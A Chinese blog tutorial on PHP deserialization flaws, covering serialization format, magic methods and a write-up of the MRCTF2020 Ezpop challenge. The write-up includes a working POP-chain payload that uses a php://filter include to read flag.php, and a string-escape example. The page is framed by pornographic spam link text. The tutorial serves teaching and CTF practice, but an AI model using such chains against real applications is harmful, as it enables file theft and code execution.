亚洲精品久久久中文字幕-亚洲精品久久片久久-亚洲精品久久青草-亚洲精品久久婷婷爱久久婷婷-亚洲精品久久午夜香蕉

您的位置:首頁/技術(shù)文章
文章詳情頁

PHP反序列化漏洞實(shí)例深入解析

瀏覽:158日期:2022-06-06 09:30:36
目錄
  • 引文
  • 簡(jiǎn)介
  • 基礎(chǔ)知識(shí)
    • 序列化
    • 反序列化
    • 屬性
    • 魔術(shù)方法
  • POP鏈
    • [MRCTF2020]Ezpop
  • PHP字符串逃逸
    • 結(jié)語

      引文

      上一篇給大家?guī)砹薠SS跨站腳本攻擊漏洞不知道大家學(xué)的咋樣了,今天給大家?guī)砹硪粋€(gè)漏洞,PHP的反序列化漏洞,這也是我在CTF比賽中遇到過最多的也是比較考察邏輯思維的一種漏洞。

      簡(jiǎn)介

      PHP反序列化是一個(gè)非常常見的漏洞,利用難度相比于文件上傳等漏洞相對(duì)較困難,漏洞的形成的根本原因是程序沒有對(duì)用戶輸入的反序列化字符串進(jìn)行檢測(cè),導(dǎo)致反序列化過程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、getshell等一系列不可控的后果。

      基礎(chǔ)知識(shí)

      在了解反序列化之前先看看反序列化與序列化:

      序列化

      序列化就是將 對(duì)象object、string、array、變量 轉(zhuǎn)換成具有一定格式的字符串,方便保持穩(wěn)定的格式在文件中傳輸,以便還原為原來的內(nèi)容。這個(gè)應(yīng)該很好理解,學(xué)過JAVA反序列化的可以按照J(rèn)AVA的去理解,只不過用到的函數(shù)不一樣罷了,下面是一個(gè)序列化的例子:

      <?phpclass XINO{    var $test = "123456";}$class1 = new XINO;$class1_ser = serialize($class1);print_r($class1_ser);?>

      輸出字符串:

      O:4:"XINO":1:{s:4:"test";s:6:"123456";}

      O代表存儲(chǔ)的是對(duì)象(object),4表示有4個(gè)字符,XINO表示對(duì)象名,1表示有一個(gè)值,括號(hào)里的以此類推。

      反序列化

      與序列化相對(duì)應(yīng),從序列化后的結(jié)果中恢復(fù)對(duì)象(object)。用法和上面的序列化函數(shù)差不多,只是作用相反,會(huì)恢復(fù)被序列化的字符串流。函數(shù)為:unserialize。

      屬性

      了解完序列化與反序列化,下一個(gè)要了解的我認(rèn)為是php的屬性,有基礎(chǔ)的小伙伴可能會(huì)知道php的屬性有:public(公有),protected(受保護(hù))或 private(私有)。

      由于變量的屬性不同,序列化后的結(jié)果也會(huì)有一些細(xì)微的差異,這是要十分記住的點(diǎn),也是個(gè)人在學(xué)習(xí)中經(jīng)常出錯(cuò)的點(diǎn):

      public:屬性被序列化的時(shí)候?qū)傩灾挡粫?huì)更改。

      protected:屬性被序列化的時(shí)候?qū)傩灾禃?huì)變成 %00*%00屬性名

      private:屬性被序列化的時(shí)候?qū)傩灾禃?huì)變成%00類名%00屬性名

      上面這些要牢牢記住,有時(shí)候反序列化攻擊不成功也許并不是反序列化利用鏈不對(duì),而是這些細(xì)微的點(diǎn)出錯(cuò)了。

      魔術(shù)方法

      所謂魔術(shù)方法,個(gè)人理解的是當(dāng)達(dá)成某個(gè)特定條件時(shí)會(huì)自動(dòng)調(diào)用的方法,而在php反序列化中,常用的魔術(shù)方法與觸發(fā)條件如下:

      __construct 當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)被調(diào)用,
      __destruct 當(dāng)一個(gè)對(duì)象銷毀時(shí)被調(diào)用,
      __toString 當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串被調(diào)用。
      __wakeup() 使用unserialize時(shí)觸發(fā)
      __sleep() 使用serialize時(shí)觸發(fā)
      __destruct() 對(duì)象被銷毀時(shí)觸發(fā)
      __call() 在對(duì)象上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
      __callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時(shí)觸發(fā)
      __get() 用于從不可訪問的屬性讀取數(shù)據(jù)
      __set() 用于將數(shù)據(jù)寫入不可訪問的屬性
      __isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
      __unset() 在不可訪問的屬性上使用unset()時(shí)觸發(fā)
      __toString() 把類當(dāng)作字符串使用時(shí)觸發(fā),返回值需要為字符串
      __invoke() 當(dāng)腳本嘗試將對(duì)象調(diào)用為函數(shù)時(shí)觸發(fā)

      比如下面代碼:

      <?php class TestClass {public $foo;public function __construct($foo) {$this->foo = $foo; } public function __toString() {return $this->foo; } } $class = new TestClass("Hello");echo $class; // 運(yùn)行結(jié)果:Hello ?>

      我們新定義一個(gè)了一個(gè)TestClass類,由于一個(gè)新對(duì)象被創(chuàng)建,觸發(fā)__construct,echo該類時(shí),對(duì)象被當(dāng)作了字符串調(diào)用,于是觸發(fā)__toStrng()方法,最后輸出Hello。

      POP鏈

      學(xué)完上面的基礎(chǔ)知識(shí)后,我們可以引入POP鏈的知識(shí)了,當(dāng)注入點(diǎn)存在普通的類方法中,我們就不能調(diào)用方法了,所以我們需要找到普通類與魔術(shù)方法之間的聯(lián)系,也就是構(gòu)造POP鏈,理出一種邏輯思路,通過這種邏輯思路來構(gòu)造一條pop鏈,從而達(dá)到攻擊的目的。

      下面給大家?guī)硪粋€(gè)簡(jiǎn)單的例子:

      [MRCTF2020]Ezpop

      打開靶機(jī)發(fā)現(xiàn)網(wǎng)站源碼:

      Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){include($value);    }    public function __invoke(){$this->append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file="index.php"){$this->source = $file;echo "Welcome to ".$this->source."<br>";    }    public function __toString(){return $this->str->source;    }    public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {    echo "hacker";    $this->source = "index.php";}    }}class Test{    public $p;    public function __construct(){$this->p = array();    }    public function __get($key){$function = $this->p;return $function();    }}if(isset($_GET["pop"])){    @unserialize($_GET["pop"]);}else{    $a=new Show;    highlight_file(__FILE__);}

      這是一道比較經(jīng)典的POP鏈題目,可以正著推或者反著推,本次我們反著推,我們一步一步分析:

      Modifier類

      class Modifier {    protected  $var;    public function append($value){include($value);    }    public function __invoke(){$this->append($this->var);    }

      可以看到有利用點(diǎn)include來進(jìn)行文件包含,php偽協(xié)議來訪問flag.php。而要想觸發(fā)append函數(shù), _invoke函數(shù)被調(diào)用時(shí)會(huì)觸發(fā)include函數(shù)。

      我們看TEST類,類中有 _get() 魔術(shù)方法,將this->p設(shè)為一個(gè)構(gòu)造好的Modifier對(duì)象。再看看show類,其中有toString魔術(shù)方法,在一個(gè)對(duì)象被當(dāng)作一個(gè)字符串使用時(shí)調(diào)用,當(dāng)echo一個(gè)對(duì)象時(shí)會(huì)自動(dòng)觸發(fā)這個(gè)方法。返回了 $this->str->source,最后的一步是讓source 等于對(duì)象,進(jìn)而觸發(fā) __toString方法。

      最后的構(gòu)造的POP鏈payload為:

      <?phpclass Modifier {	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{    public $source;    public $str;    public function __construct(){$this->str = new Test();    }}class Test{    public $p;}$a = new Show();$a->source = new Show();$a->source->str->p = new Modifier();echo urlencode(serialize($a));?>

      運(yùn)行一下得到結(jié)果:

      提交就可以得到結(jié)果。

      PHP字符串逃逸

      學(xué)完P(guān)OP鏈,我們進(jìn)階講一下PHP字符串逃逸,這也是有一些難度的知識(shí)點(diǎn),可以先簡(jiǎn)單理解為SQL注入,這里就簡(jiǎn)單講講:反序列化以;}為結(jié)束標(biāo)志,后面的內(nèi)容則忽略不管。假設(shè)我們構(gòu)造一個(gè)序列化字符串

      a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

      如果題目中,將flag過濾,我們的字符串會(huì)變成:

      a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

      flag被替換為空了,字符長(zhǎng)度不匹配就會(huì)向后讀取,因?yàn)槲覀円獦?gòu)造惡意字符串去匹配。從而達(dá)到逃逸。

      結(jié)語

      今天比較詳細(xì)的講了PHP反序列化漏洞的原理以及應(yīng)用方法,有興趣的小伙伴可以自己去搭建靶機(jī)來進(jìn)行測(cè)試,以上就是PHP反序列化漏洞實(shí)例深入解析的詳細(xì)內(nèi)容,更多關(guān)于PHP反序列化漏洞的資料請(qǐng)關(guān)注其它相關(guān)文章!

      標(biāo)簽: PHP
      相關(guān)文章:
      主站蜘蛛池模板: 初女破苞国语在线观看免费 | 国拍在线精品视频免费观看 | 黄wwwwww| 免费人成黄页在线观看日本 | 欧美精品午夜毛片免费看 | 欧美另类综合 | 国产真实强j视频在线观看 国产真实露脸4p视频 | 六月丁香激情综合成人 | 欧亚色视频| 精品亚洲成a人在线播放 | 国内免费一区二区三区视频 | 色佬影院| 美女69xxxxxxxx | 综合欧美一区二区三区 | 欧美笫一页 | 久久成| 免费黄色资源 | 色综合中文字幕 | 欧美黄色tv| 97香蕉超级碰碰碰久久兔费 | 中文字幕免费在线观看动作大片 | 日韩一级在线观看 | 国产超级乱淫视频播放 | 免费一级毛片不卡在线播放 | 在线精品国产一区二区 | 欧美影院天天5g天天爽 | 性欧美视频a毛片在线播放 性欧美视频在线观看 | 黄 色 成 年人网站 黄+在线播放 | 福利在线一区 | 国产精品极品美女自在线看免费一区二区 | a级国产乱理片在线观看 | 成人满18在线观看网站免费 | 人人综合| 久久青草网站 | 免费一级毛片在播放视频 | 欧美久久精品 | 日韩在线操| 欧洲女人性开放视频在线观看 | 国产片欧美片亚洲片久久综合 | 91啦视频在线观看 | 日韩毛片在线视频 |